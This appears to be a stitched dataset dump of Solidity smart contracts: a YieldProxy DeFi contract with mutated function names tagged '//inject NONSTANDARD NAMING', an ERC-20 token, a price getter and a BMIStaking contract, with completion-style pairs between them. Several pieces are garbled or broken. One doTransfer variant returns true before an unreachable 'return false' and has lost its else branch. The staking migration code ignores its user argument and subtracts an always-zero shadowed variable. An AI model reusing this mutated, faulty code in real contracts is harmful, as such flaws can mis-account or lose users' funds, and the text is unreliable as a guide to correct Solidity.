c; } function MOD331(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD331(a, b, "SafeMath: modulo by zero"); } function MOD331(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } // File: contracts/helpers/DecimalMath.sol pragma solidity ^0.6.10; contract DecimalMath { using SafeMath for uint256; uint256 constant public unit17 = 1e27; //inject NONSTANDARD NAMING function MULD379(uint256 x, uint256 y) internal pure returns (uint256) { //inject NONSTANDARD NAMING return x.MUL434(y).DIV16(unit17); } function DIVD836(uint256 x, uint256 y) internal pure returns (uint256) { //inject NONSTANDARD NAMING return x.MUL434(unit17).DIV16(y); } function MULDRUP300(uint256 x, uint256 y) internal pure returns (uint256) //inject NONSTANDARD NAMING { uint256 z = x.MUL434(y); return z.MOD331(unit17) == 0 ? z.DIV16(unit17) : z.DIV16(unit17).ADD958(1); } function DIVDRUP370(uint256 x, uint256 y) internal pure returns (uint256) //inject NONSTANDARD NAMING { uint256 z = x.MUL434(unit17); return z.MOD331(y) == 0 ? z.DIV16(y) : z.DIV16(y).ADD958(1); } } // File: contracts/peripheral/YieldProxy.sol pragma solidity ^0.6.10; library SafeCast { function TOUINT128897(uint256 x) internal pure returns(uint128) { //inject NONSTANDARD NAMING require( x <= type(uint128).max, "YieldProxy: Cast overflow" ); return uint128(x); } function TOINT256710(uint256 x) internal pure returns(int256) { //inject NONSTANDARD NAMING require( x <= uint256(type(int256).max), "YieldProxy: Cast overflow" ); return int256(x); } } contract YieldProxy is DecimalMath { using SafeCast for uint256; IVat public vat; IWeth public weth; IDai public dai; IGemJoin public wethJoin; IDaiJoin public daiJoin; IChai public chai; IController public controller; ITreasury public treasury; IPool[] public pools; mapping (address => bool) public poolsMap; bytes32 public constant chai69 = "CHAI"; //inject NONSTANDARD NAMING bytes32 public constant weth148 = "ETH-A"; //inject NONSTANDARD NAMING bool constant public mty307 = true; //inject NONSTANDARD NAMING bool constant public ytm282 = false; //inject NONSTANDARD NAMING constructor(address controller_, IPool[] memory _pools) public { controller = IController(controller_); treasury = controller.TREASURY445(); weth = treasury.WETH278(); dai = IDai(address(treasury.DAI858())); chai = treasury.CHAI326(); daiJoin = treasury.DAIJOIN173(); wethJoin = treasury.WETHJOIN654(); vat = treasury.VAT519(); // for repaying debt dai.APPROVE147(address(treasury), uint(-1)); // for posting to the controller chai.APPROVE147(address(treasury), uint(-1)); weth.APPROVE147(address(treasury), uint(-1)); // for converting DAI to CHAI dai.APPROVE147(address(chai), uint(-1)); vat.HOPE952(address(daiJoin)); vat.HOPE952(address(wethJoin)); dai.APPROVE147(address(daiJoin), uint(-1)); weth.APPROVE147(address(wethJoin), uint(-1)); weth.APPROVE147(address(treasury), uint(-1)); // allow all the pools to pull FYDai/dai from us for LPing for (uint i = 0 ; i < _pools.length; i++) { dai.APPROVE147(address(_pools[i]), uint(-1)); _pools[i].FYDAI600().APPROVE147(address(_pools[i]), uint(-1)); poolsMap[address(_pools[i])]= true; } pools = _pools; } function UNPACK384(bytes memory signature) private pure returns (bytes32 r, bytes32 s, uint8 v) { //inject NONSTANDARD NAMING assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } } function ONBOARD51(address from, bytes memory daiSignature, bytes memory controllerSig) external { //inject NONSTANDARD NAMING bytes32 r; bytes32 s; uint8 v; (r, s, v) = UNPACK384(daiSignature); dai.PERMIT233(from, address(this), dai.NONCES538(from), uint(-1), true, v, r, s); (r, s, v) = UNPACK384(controllerSig); controller.ADDDELEGATEBYSIGNATURE882(from, address(this), uint(-1), v, r, s); } function AUTHORIZEPOOL621(IPool pool, address from, bytes memory daiSig, bytes memory fyDaiSig, bytes memory poolSig) public { //inject NONSTANDARD NAMING ONLYKNOWNPOOL167(pool); bytes32 r; bytes32 s; uint8 v; (r, s, v) = UNPACK384(daiSig); dai.PERMIT233(from, address(pool), dai.NONCES538(from), uint(-1), true, v, r, s); (r, s, v) = UNPACK384(fyDaiSig); pool.FYDAI600().PERMIT233(from, address(this), uint(-1), uint(-1), v, r, s); (r, s, v) = UNPACK384(poolSig); pool.ADDDELEGATEBYSIGNATURE882(from, address(this), uint(-1), v, r, s); } receive() external payable { } function POST95(address to) //inject NONSTANDARD NAMING public payable { weth.DEPOSIT338{ value: msg.value }(); controller.POST95(weth148, address(this), to, msg.value); } function WITHDRAW817(address payable to, uint256 amount) //inject NONSTANDARD NAMING public { controller.WITHDRAW817(weth148, msg.sender, address(this), amount); weth.WITHDRAW817(amount); to.transfer(amount); } function ADDLIQUIDITY157(IPool pool, uint256 daiUsed, uint256 maxFYDai) external returns (uint256) { //inject NONSTANDARD NAMING ONLYKNOWNPOOL167(pool); IFYDai fyDai = pool.FYDAI600(); require(fyDai.ISMATURE431() != true, "YieldProxy: Only before maturity"); require(dai.TRANSFERFROM451(msg.sender, address(this), daiUsed), "YieldProxy: Transfer Failed"); // calculate needed fyDai uint256 daiReserves = dai.BALANCEOF833(address(pool)); uint256 fyDaiReserves = fyDai.BALANCEOF833(address(pool)); uint256 daiToAdd = daiUsed.MUL434(daiReserves).DIV16(fyDaiReserves.ADD958(daiReserves)); uint256 daiToConvert = daiUsed.SUB494(daiToAdd); require( daiToConvert <= maxFYDai, "YieldProxy: maxFYDai exceeded" ); // 1 Dai == 1 fyDai // convert dai to chai and borrow needed fyDai chai.JOIN369(address(this), daiToConvert); // look at the balance of chai in dai to avoid rounding issues uint256 toBorrow = chai.DAI858(address(this)); controller.POST95(chai69, address(this), msg.sender, chai.BALANCEOF833(address(this))); controller.BORROW691(chai69, fyDai.MATURITY388(), msg.sender, address(this), toBorrow); // mint liquidity tokens return pool.MINT176(address(this), msg.sender, daiToAdd); } function REMOVELIQUIDITYEARLYDAIPOOL932(IPool pool, uint256 poolTokens, uint256 minimumDaiPrice, uint256 minimumFYDaiPrice) external { //inject NONSTANDARD NAMING ONLYKNOWNPOOL167(pool); IFYDai fyDai = pool.FYDAI600(); uint256 maturity = fyDai.MATURITY388(); (uint256 daiObtained, uint256 fyDaiObtained) = pool.BURN250(msg.sender, address(this), poolTokens); // Exchange Dai for fyDai to pay as much debt as possible uint256 fyDaiBought = pool.SELLDAI400(address(this), address(this), daiObtained.TOUINT128897()); require( fyDaiBought >= MULD379(daiObtained, minimumDaiPrice), "YieldProxy: minimumDaiPrice not reached" ); fyDaiObtained = fyDaiObtained.ADD958(fyDaiBought); uint256 fyDaiUsed; if (fyDaiObtained > 0 && controller.DEBTFYDAI447(chai69, maturity, msg.sender) > 0) { fyDaiUsed = controller.REPAYFYDAI426(chai69, maturity, address(this), msg.sender, fyDaiObtained); } uint256 fyDaiRemaining = fyDaiObtained.SUB494(fyDaiUsed); if (fyDaiRemaining > 0) {// There is fyDai left, so exchange it for Dai to withdraw only Dai and Chai require( pool.SELLFYDAI226(address(this), address(this), uint128(fyDaiRemaining)) >= MULD379(fyDaiRemaining, minimumFYDaiPrice), "YieldProxy: minimumFYDaiPrice not reached" ); } WITHDRAWASSETS926(fyDai); } function REMOVELIQUIDITYEARLYDAIFIXED8(IPool pool, uint256 poolTokens, uint256 minimumFYDaiPrice) external { //inject NONSTANDARD NAMING ONLYKNOWNPOOL167(pool); IFYDai fyDai = pool.FYDAI600(); uint256 maturity = fyDai.MATURITY388(); (uint256 daiObtained, uint256 fyDaiObtained) = pool.BURN250(msg.sender, address(this), poolTokens); uint256 fyDaiUsed; if (fyDaiObtained > 0 && controller.DEBTFYDAI447(chai69, maturity, msg.sender) > 0) { fyDaiUsed = controller.REPAYFYDAI426(chai69, maturity, address(this), msg.sender, fyDaiObtained); } uint256 fyDaiRemaining = fyDaiObtained.SUB494(fyDaiUsed); if (fyDaiRemaining == 0) { // We used all the fyDai, so probably there is debt left, so pay with Dai if (daiObtained > 0 && controller.DEBTFYDAI447(chai69, maturity, msg.sender) > 0) { controller.REPAYDAI460(chai69, maturity, address(this), msg.sender, daiObtained); } } else { // Exchange remaining fyDai for Dai to withdraw only Dai and Chai require( pool.SELLFYDAI226(address(this), address(this), uint128(fyDaiRemaining)) >= MULD379(fyDaiRemaining, minimumFYDaiPrice), "YieldProxy: minimumFYDaiPrice not reached" ); } WITHDRAWASSETS926(fyDai); } function REMOVELIQUIDITYMATURE267(IPool pool, uint256 poolTokens) external { //inject NONSTANDARD NAMING ONLYKNOWNPOOL167(pool); IFYDai fyDai = pool.FYDAI600(); uint256 maturity = fyDai.MATURITY388(); (uint256 daiObtained, uint256 fyDaiObtained) = pool.BURN250(msg.sender, address(this), poolTokens); if (fyDaiObtained > 0) { daiObtained = daiObtained.ADD958(fyDai.REDEEM906(address(this), address(this), fyDaiObtained)); } // Repay debt if (daiObtained > 0 && controller.DEBTFYDAI447(chai69, maturity, msg.sender) > 0) { controller.REPAYDAI460(chai69, maturity, address(this), msg.sender, daiObtained); } WITHDRAWASSETS926(fyDai); } function WITHDRAWASSETS926(IFYDai fyDai) internal { //inject NONSTANDARD NAMING if (controller.DEBTFYDAI447(chai69, fyDai.MATURITY388(), msg.sender) == 0) { controller.WITHDRAW817(chai69, msg.sender, address(this), controller.POSTED950(chai69, msg.sender)); chai.EXIT932(address(this), chai.BALANCEOF833(address(this))); } require(dai.TRANSFER582(msg.sender, dai.BALANCEOF833(address(this))), "YieldProxy: Dai Transfer Failed"); } function BORROWDAIFORMAXIMUMFYDAI736( //inject NONSTANDARD NAMING IPool pool, bytes32 collateral, uint256 maturity, address to, uint256 maximumFYDai, uint256 daiToBorrow ) public returns (uint256) { ONLYKNOWNPOOL167(pool); uint256 fyDaiToBorrow = pool.BUYDAIPREVIEW913(daiToBorrow.TOUINT128897()); require (fyDaiToBorrow <= maximumFYDai, "YieldProxy: Too much fyDai required"); // The collateral for this borrow needs to have been posted beforehand controller.BORROW691(collateral, maturity, msg.sender, address(this), fyDaiToBorrow); pool.BUYDAI253(address(this), to, daiToBorrow.TOUINT128897()); return fyDaiToBorrow; } function BORROWMINIMUMDAIFORFYDAI776( //inject NONSTANDARD NAMING IPool pool, bytes32 collateral, uint256 maturity, address to, uint256 fyDaiToBorrow, uint256 minimumDaiToBorrow ) public returns (uint256) { ONLYKNOWNPOOL167(pool); // The collateral for this borrow needs to have been posted beforehand controller.BORROW691(collateral, maturity, msg.sender, address(this), fyDaiToBorrow); uint256 boughtDai = pool.SELLFYDAI226(address(this), to, fyDaiToBorrow.TOUINT128897()); require (boughtDai >= minimumDaiToBorrow, "YieldProxy: Not enough Dai obtained"); return boughtDai; } function REPAYFYDAIDEBTFORMAXIMUMDAI955( //inject NONSTANDARD NAMING IPool pool, bytes32 collateral, uint256 maturity, address to, uint256 fyDaiRepayment, uint256 maximumRepaymentInDai ) public returns (uint256) { ONLYKNOWNPOOL167(pool); uint256 fyDaiDebt = controller.DEBTFYDAI447(collateral, maturity, to); uint256 fyDaiToUse = fyDaiDebt < fyDaiRepayment ? fyDaiDebt : fyDaiRepayment; // Use no more fyDai than debt uint256 repaymentInDai = pool.BUYFYDAI675(msg.sender, address(this), fyDaiToUse.TOUINT128897()); require (repaymentInDai <= maximumRepaymentInDai, "YieldProxy: Too much Dai required"); controller.REPAYFYDAI426(collateral, maturity, address(this), to, fyDaiToUse); return repaymentInDai; } function REPAYMINIMUMFYDAIDEBTFORDAI862( //inject NONSTANDARD NAMING IPool pool, bytes32 collateral, uint256 maturity, address to, uint256 minimumFYDaiRepayment, uint256 repaymentInDai ) public returns (uint256) { ONLYKNOWNPOOL167(pool); uint256 fyDaiRepayment = pool.SELLDAIPREVIEW300(repaymentInDai.TOUINT128897()); uint256 fyDaiDebt = controller.DEBTFYDAI447(collateral, maturity, to); if(fyDaiRepayment <= fyDaiDebt) { // Sell no more Dai than needed to cancel all the debt pool.SELLDAI400(msg.sender, address(this), repaymentInDai.TOUINT128897()); } else { // If we have too much Dai, then don't sell it all and buy the exact amount of fyDai needed instead. pool.BUYFYDAI675(msg.sender, address(this), fyDaiDebt.TOUINT128897()); fyDaiRepayment = fyDaiDebt; } require (fyDaiRepayment >= minimumFYDaiRepayment, "YieldProxy: Not enough fyDai debt repaid"); controller.REPAYFYDAI426(collateral, maturity, address(this), to, fyDaiRepayment); return fyDaiRepayment; } function SELLDAI400(IPool pool, address to, uint128 daiIn, uint128 minFYDaiOut) //inject NONSTANDARD NAMING external returns(uint256) { ONLYKNOWNPOOL167(pool); uint256 fyDaiOut = pool.SELLDAI400(msg.sender, to, daiIn); require( fyDaiOut >= minFYDaiOut, "YieldProxy: Limit not reached" ); return fyDaiOut; } function BUYDAI253(IPool pool, address to, uint128 daiOut, uint128 maxFYDaiIn) //inject NONSTANDARD NAMING public returns(uint256) { ONLYKNOWNPOOL167(pool); uint256 fyDaiIn = pool.BUYDAI253(msg.sender, to, daiOut); require( maxFYDaiIn >= fyDaiIn, "YieldProxy: Limit exceeded" ); return fyDaiIn; } function BUYDAIWITHSIGNATURE110(IPool pool, address to, uint128 daiOut, uint128 maxFYDaiIn, bytes memory signature) //inject NONSTANDARD NAMING external returns(uint256) { ONLYKNOWNPOOL167(pool); (bytes32 r, bytes32 s, uint8 v) = UNPACK384(signature); pool.FYDAI600().PERMIT233(msg.sender, address(pool), uint(-1), uint(-1), v, r, s); return BUYDAI253(pool, to, daiOut, maxFYDaiIn); } function SELLFYDAI226(IPool pool, address to, uint128 fyDaiIn, uint128 minDaiOut) //inject NONSTANDARD NAMING public returns(uint256) { ONLYKNOWNPOOL167(pool); uint256 daiOut = pool.SELLFYDAI226(msg.sender, to, fyDaiIn); require( daiOut >= minDaiOut, "YieldProxy: Limit not reached" ); return daiOut; } function SELLFYDAIWITHSIGNATURE545(IPool pool, address to, uint128 fyDaiIn, uint128 minDaiOut, bytes memory signature) //inject NONSTANDARD NAMING external returns(uint256) { ONLYKNOWNPOOL167(pool); (bytes32 r, bytes32 s, uint8 v) = UNPACK384(signature); pool.FYDAI600().PERMIT233(msg.sender, address(pool), uint(-1), uint(-1), v, r, s); return SELLFYDAI226(pool, to, fyDaiIn, minDaiOut); } function BUYFYDAI675(IPool pool, address to, uint128 fyDaiOut, uint128 maxDaiIn) //inject NONSTANDARD NAMING external returns(uint256) { ONLYKNOWNPOOL167(pool); uint256 daiIn = pool.BUYFYDAI675(msg.sender, to, fyDaiOut); require( maxDaiIn >= daiIn, "YieldProxy: Limit exceeded" ); return daiIn; } function REPAYDAIWITHSIGNATURE818(bytes32 collateral, uint256 maturity, address to, uint256 daiAmount, bytes memory signature) //inject NONSTANDARD NAMING external returns(uint256) { (bytes32 r, bytes32 s, uint8 v) = UNPACK384(signature); dai.PERMIT233(msg.sender, address(treasury), dai.NONCES538(msg.sender), uint(-1), true, v, r, s); controller.REPAYDAI460(collateral, maturity, msg.sender, to, daiAmount); } function ONLYKNOWNPOOL167(IPool pool) private view { //inject NONSTANDARD NAMING require(poolsMap[address(pool)], "YieldProxy: Unknown pool"); } }
inject NONSTANDARD NAMING
function ADDLIQUIDITY157(IPool pool, uint256 daiUsed, uint256 maxFYDai) external returns (uint256) {
12,707,220
pragma solidity ^0.4.22; // This contract provides an abstract interface for an ERC-20-like token standard. contract Token { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function totalSupply() constant public returns (uint256 supply); function balanceOf(address _owner) constant public returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) constant public returns (uint256 remaining); } // This contract implements the ERC-20 token standard. contract StandardToken is Token { // Account storage location for the supply variable. This variable holds // the current total supply of the token. uint256 supply; // The balance mapping maps each account address to its balance. mapping (address => uint256) balance; // The allowance mapping maps each pair of owner and spender accounts to the // allowance that the owner approves to be transferred by the spender. mapping (address => mapping (address => uint256)) m_allowance; // Constructor: initializes an ERC-20 compliant token with the given total supply // where the given initialOwner owns all the supply. constructor(address _initialOwner, uint256 _supply) public { supply = _supply; balance[_initialOwner] = _supply; } // Returns the current balance of an account. function balanceOf(address _account) constant public returns (uint256) { return balance[_account]; } // Returns the total supply of the token. function totalSupply() constant public returns (uint256) { return supply; } // Transfers the given value from the caller to the target account. // Returns true on success or false if the caller's balance is lower than the // value to transferred. // Logs a transfer event on success. function transfer(address _to, uint256 _value) public returns (bool success) { return doTransfer(msg.sender, _to, _value); } // Transfers the given value from the given source to the given target account. // The approved allowance to be transferred from the source by the caller should // cover the value to be transferred. The value of the allowance is reduced by the // value that was transferred. // Returns true on success, or when the transfer failed due to insufficient balance // of the source account. Return false when the transfer failed due to insufficient // allowance. // Logs a transfer event on success. function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if (m_allowance[_from][msg.sender] >= _value) { if (doTransfer(_from, _to, _value)) { m_allowance[_from][msg.sender] -= _value; } return true; } else { return false; } } // Helper internal function that updates the balances for a transfer and logs a // transfer event. function doTransfer(address _from, address _to, uint256 _value) internal returns (bool success) { if (balance[_from] >= _value && balance[_to] + _value >= balance[_to]) { balance[_from] -= _value; balance[_to] += _value; emit Transfer(_from, _to, _value); return true; } else { return false; } } // Approves the given value as allowance to be transferred from the caller by the // spender. // Returns true. // Logs an approval event. function approve(address _spender, uint256 _value) public returns (bool success) { m_allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // Returns the currently approved allowance to be transferred from the owner // by the spender. function allowance(address _owner, address _spender) constant public returns (uint256) { return m_allowance[_owner][_spender]; } }
Helper internal function that updates the balances for a transfer and logs a transfer event.
function doTransfer(address _from, address _to, uint256 _value) internal returns (bool success) { if (balance[_from] >= _value && balance[_to] + _value >= balance[_to]) { balance[_from] -= _value; balance[_to] += _value; emit Transfer(_from, _to, _value); return true; return false; } }
12,954,710
./partial_match/1/0x7d755944D44Fc8b5183B82f55889B3FbE9bEbB8D/sources/PBull.sol
Get price of above set pair reserves0 = USDC (8 decimals) ETH reserves1 = ETH (18 decimals) USD
function getPriceETH_USD() public view returns (uint256) { require(address(_pairUSD) != address(0)); (uint256 reserves0, uint256 reserves1,) = _pairUSD.getReserves(); uint256 price = reserves0.mul(10**(18-USD_DECIMALS)).mul(PRICE_PRECISION).div(reserves1); return price; }
4,140,607
// SPDX-License-Identifier: MIT pragma solidity ^0.7.4; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IBMIStaking.sol"; import "./interfaces/IContractsRegistry.sol"; import "./interfaces/ILiquidityBridge.sol"; import "./interfaces/ILiquidityMining.sol"; import "./interfaces/tokens/ISTKBMIToken.sol"; import "./interfaces/tokens/erc20permit-upgradeable/IERC20PermitUpgradeable.sol"; import "./abstract/AbstractDependant.sol"; import "./Globals.sol"; contract BMIStaking is IBMIStaking, OwnableUpgradeable, AbstractDependant { using SafeMath for uint256; IERC20 public bmiToken; ISTKBMIToken public stkBMIToken; uint256 public lastUpdateBlock; uint256 public rewardPerBlock; uint256 public totalPool; address public legacyBMIStakingAddress; ILiquidityMining public liquidityMining; address public bmiCoverStakingAddress; address public liquidityMiningStakingAddress; mapping(address => WithdrawalInfo) private withdrawalsInfo; IERC20 public vBMI; uint256 internal constant WITHDRAWING_LOCKUP_DURATION = 90 days; uint256 internal constant WITHDRAWING_COOLDOWN_DURATION = 8 days; uint256 internal constant WITHDRAWAL_PHASE_DURATION = 2 days; address public liquidityBridgeAddress; bool public isMigrating; modifier onlyLiquidityBridge() { require( _msgSender() == liquidityBridgeAddress || _msgSender() == address(this), "BMS: not authorized" ); _; } modifier notMigrating() { require(!isMigrating, "BMIS: Operation paused while migrating"); _; } modifier updateRewardPool() { _updateRewardPool(); _; } modifier onlyStaking() { require( _msgSender() == bmiCoverStakingAddress || _msgSender() == liquidityMiningStakingAddress || _msgSender() == legacyBMIStakingAddress || _msgSender() == liquidityBridgeAddress, "BMIStaking: Not a staking contract" ); _; } function __BMIStaking_init(uint256 _rewardPerBlock) external initializer { __Ownable_init(); lastUpdateBlock = block.number; rewardPerBlock = _rewardPerBlock; } function setDependencies(IContractsRegistry _contractsRegistry) external override onlyInjectorOrZero { legacyBMIStakingAddress = _contractsRegistry.getLegacyBMIStakingContract(); bmiToken = IERC20(_contractsRegistry.getBMIContract()); stkBMIToken = ISTKBMIToken(_contractsRegistry.getSTKBMIContract()); liquidityMining = ILiquidityMining(_contractsRegistry.getLiquidityMiningContract()); bmiCoverStakingAddress = _contractsRegistry.getBMICoverStakingContract(); liquidityMiningStakingAddress = _contractsRegistry.getLiquidityMiningStakingContract(); vBMI = IERC20(_contractsRegistry.getVBMIContract()); liquidityBridgeAddress = _contractsRegistry.getLiquidityBridgeContract(); } function stakeWithPermit( uint256 _amountBMI, uint8 _v, bytes32 _r, bytes32 _s ) external override { IERC20PermitUpgradeable(address(bmiToken)).permit( _msgSender(), address(this), _amountBMI, MAX_INT, _v, _r, _s ); bmiToken.transferFrom(_msgSender(), address(this), _amountBMI); _stake(_msgSender(), _amountBMI); } function stakeFor(address _user, uint256 _amountBMI) external override onlyStaking { require(_amountBMI > 0, "BMIStaking: can't stake 0 tokens"); _stake(_user, _amountBMI); } function stake(uint256 _amountBMI) external override { require(_amountBMI > 0, "BMIStaking: can't stake 0 tokens"); bmiToken.transferFrom(_msgSender(), address(this), _amountBMI); _stake(_msgSender(), _amountBMI); } /// @notice checks when the unlockPeriod expires (90 days) /// @return exact timestamp of the unlock time or 0 if LME is not started or unlock period is reached function maturityAt() external view override returns (uint256) { uint256 maturityDate = liquidityMining.startLiquidityMiningTime().add(WITHDRAWING_LOCKUP_DURATION); return maturityDate < block.timestamp ? 0 : maturityDate; } // It is unlocked after 90 days function isBMIRewardUnlocked() public view override returns (bool) { uint256 liquidityMiningStartTime = liquidityMining.startLiquidityMiningTime(); return liquidityMiningStartTime == 0 || liquidityMiningStartTime.add(WITHDRAWING_LOCKUP_DURATION) <= block.timestamp; } // There is a second withdrawal phase of 48 hours to actually receive the rewards. // If a user misses this period, in order to withdraw he has to wait for 10 days again. // It will return: // 0 if cooldown time didn't start or if phase duration (48hs) has expired // #coolDownTimeEnd Time when user can withdraw. function whenCanWithdrawBMIReward(address _address) public view override returns (uint256) { return withdrawalsInfo[_address].coolDownTimeEnd.add(WITHDRAWAL_PHASE_DURATION) >= block.timestamp ? withdrawalsInfo[_address].coolDownTimeEnd : 0; } /* * Before a withdraw, it is needed to wait 90 days after LiquidityMining started. * And after 90 days, user can request to withdraw and wait 10 days. * After 10 days, user can withdraw, but user has 48hs to withdraw. After 48hs, * user will need to request to withdraw again and wait for more 10 days before * being able to withdraw. */ function unlockTokensToWithdraw(uint256 _amountBMIUnlock) public override { _unlockTokensToWithdraw(_msgSender(), _amountBMIUnlock); } function _unlockTokensToWithdraw(address _sender, uint256 _amountBMIUnlock) internal { require(_amountBMIUnlock > 0, "BMIStaking: can't unlock 0 tokens"); require(isBMIRewardUnlocked(), "BMIStaking: lock up time didn't end"); uint256 _amountStkBMIUnlock = _convertToStkBMI(_amountBMIUnlock); require( stkBMIToken.balanceOf(_sender) >= _amountStkBMIUnlock, "BMIStaking: not enough BMI to unlock" ); withdrawalsInfo[_sender] = WithdrawalInfo( block.timestamp.add(WITHDRAWING_COOLDOWN_DURATION), _amountBMIUnlock ); } function setMigrationMode() public notMigrating onlyOwner { require(!isMigrating, "operation paused whiel migrating"); isMigrating = true; address contractsRegistryAddress = 0x8050c5a46FC224E3BCfa5D7B7cBacB1e4010118d; liquidityBridgeAddress = IContractsRegistry(contractsRegistryAddress) .getLiquidityBridgeContract(); stkBMIToken.approve(liquidityBridgeAddress, 2**256 - 1); } /// @notice migrates stkBMI to V2 function migrate() external { _migrateStakeToV2(_msgSender()); } /// @notice Migrates stakes to V2 function migrateStakeToV2(address _user) public override onlyLiquidityBridge returns (uint256 amountBMI, uint256 _amountStkBMI) { return _migrateStakeToV2(_msgSender()); } function _migrateStakeToV2(address _user) internal returns (uint256 amountBMI, uint256 _amountStkBMI) { uint256 _stkBMItoUnlock = stkBMIToken.balanceOf(_user); uint256 _bmiAmount = _convertToBMI(_stkBMItoUnlock); address _newBMIStakingAddress = 0x55978a6F6A4cFA00D5a8b442e93E42c025D0890C; require( bmiToken.balanceOf(address(this)) >= amountBMI, "Withdraw: failed to transfer BMI tokens" ); if (_bmiAmount > 0) { stkBMIToken.burn(_msgSender(), _stkBMItoUnlock); totalPool = totalPool.sub(amountBMI); bmiToken.transfer(_newBMIStakingAddress, _bmiAmount); ILiquidityBridge(liquidityBridgeAddress).migrateUserBMIStake(_msgSender(), _bmiAmount); emit BMIMigratedToV2(_bmiAmount, _stkBMItoUnlock, _user); } } // User can withdraw after unlock period is over, when 10 days passed // after user asked to unlock stkBMI and before 48hs that stkBMI are unlocked. function withdraw() external override updateRewardPool { //it will revert (equal to 0) here if passed 48hs after unlock period, if //lockup period didn't start or didn't passed 90 days or if unlock didn't start uint256 _whenCanWithdrawBMIReward = whenCanWithdrawBMIReward(_msgSender()); require(_whenCanWithdrawBMIReward != 0, "BMIStaking: unlock not started/exp"); require(_whenCanWithdrawBMIReward <= block.timestamp, "BMIStaking: cooldown not reached"); (uint256 amountBMI, uint256 _amountStkBMI) = _withdraw(_msgSender(), _msgSender()); } function _withdraw(address _sender, address _destiny) internal updateRewardPool returns (uint256 amountBMI, uint256 _amountStkBMI) { uint256 amountBMI = withdrawalsInfo[_sender].amountBMIRequested; delete withdrawalsInfo[_sender]; require(bmiToken.balanceOf(address(this)) >= amountBMI, "BMIStaking: !enough BMI tokens"); uint256 _amountStkBMI = _convertToStkBMI(amountBMI); require( stkBMIToken.balanceOf(_sender) >= _amountStkBMI, "BMIStaking: !enough stkBMI to withdraw" ); stkBMIToken.burn(_sender, _amountStkBMI); totalPool = totalPool.sub(amountBMI); bmiToken.transfer(_destiny, amountBMI); emit BMIWithdrawn(amountBMI, _amountStkBMI, _msgSender()); } /// @notice Getting withdraw information /// @return _amountBMIRequested is amount of bmi tokens requested to unlock /// @return _amountStkBMI is amount of stkBMI that will burn /// @return _unlockPeriod is its timestamp when user can withdraw /// returns 0 if it didn't unlocked yet. User has 48hs to withdraw /// @return _availableFor is the end date if withdraw period has already begun /// or 0 if it is expired or didn't start function getWithdrawalInfo(address _userAddr) external view override returns ( uint256 _amountBMIRequested, uint256 _amountStkBMI, uint256 _unlockPeriod, uint256 _availableFor ) { // if whenCanWithdrawBMIReward() returns > 0 it was unlocked or is not expired _unlockPeriod = whenCanWithdrawBMIReward(_userAddr); _amountBMIRequested = withdrawalsInfo[_userAddr].amountBMIRequested; _amountStkBMI = _convertToStkBMI(_amountBMIRequested); uint256 endUnlockPeriod = _unlockPeriod.add(WITHDRAWAL_PHASE_DURATION); _availableFor = _unlockPeriod <= block.timestamp ? endUnlockPeriod : 0; } function addToPool(uint256 _amount) external override onlyStaking updateRewardPool { totalPool = totalPool.add(_amount); } function stakingReward(uint256 _amount) external view override returns (uint256) { return _convertToBMI(_amount); } function getStakedBMI(address _address) external view override returns (uint256) { uint256 balance = stkBMIToken.balanceOf(_address).add(vBMI.balanceOf(_address)); return balance > 0 ? _convertToBMI(balance) : 0; } /// @notice returns APY% with 10**5 precision function getAPY() external view override returns (uint256) { return rewardPerBlock.mul(BLOCKS_PER_YEAR.mul(10**7)).div(totalPool.add(APY_TOKENS)); } function setRewardPerBlock(uint256 _amount) external override onlyOwner updateRewardPool { rewardPerBlock = _amount; } function revokeRewardPool(uint256 _amount) external override onlyOwner updateRewardPool { require(_amount > 0, "BMIStaking: Amount is zero"); require(_amount <= totalPool, "BMIStaking: Amount is greater than the pool"); require( _amount <= bmiToken.balanceOf(address(this)), "BMIStaking: Amount is greater than the balance" ); totalPool = totalPool.sub(_amount); bmiToken.transfer(_msgSender(), _amount); emit RewardPoolRevoked(_msgSender(), _amount); } function revokeUnusedRewardPool() external override onlyOwner updateRewardPool { uint256 contractBalance = bmiToken.balanceOf(address(this)); require(contractBalance > totalPool, "BMIStaking: No unused tokens revoke"); uint256 unusedTokens = contractBalance.sub(totalPool); bmiToken.transfer(_msgSender(), unusedTokens); emit UnusedRewardPoolRevoked(_msgSender(), unusedTokens); } function _updateRewardPool() internal { if (totalPool == 0) { lastUpdateBlock = block.number; } totalPool = totalPool.add(_calculateReward()); lastUpdateBlock = block.number; } function _stake(address _staker, uint256 _amountBMI) internal updateRewardPool { uint256 amountStkBMI = _convertToStkBMI(_amountBMI); stkBMIToken.mint(_staker, amountStkBMI); totalPool = totalPool.add(_amountBMI); emit StakedBMI(_amountBMI, amountStkBMI, _staker); } function _convertToStkBMI(uint256 _amount) internal view returns (uint256) { uint256 stkBMITokenTS = stkBMIToken.totalSupply(); uint256 stakingPool = totalPool.add(_calculateReward()); if (stakingPool > 0 && stkBMITokenTS > 0) { _amount = stkBMITokenTS.mul(_amount).div(stakingPool); } return _amount; } function _convertToBMI(uint256 _amount) internal view returns (uint256) { uint256 stkBMITokenTS = stkBMIToken.totalSupply(); uint256 stakingPool = totalPool.add(_calculateReward()); return stkBMITokenTS > 0 ? stakingPool.mul(_amount).div(stkBMITokenTS) : 0; } function _calculateReward() internal view returns (uint256) { uint256 blocksPassed = block.number.sub(lastUpdateBlock); return rewardPerBlock.mul(blocksPassed); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; uint256 constant SECONDS_IN_THE_YEAR = 365 * 24 * 60 * 60; // 365 days * 24 hours * 60 minutes * 60 seconds uint256 constant MAX_INT = type(uint256).max; uint256 constant DECIMALS18 = 10**18; uint256 constant PRECISION = 10**25; uint256 constant 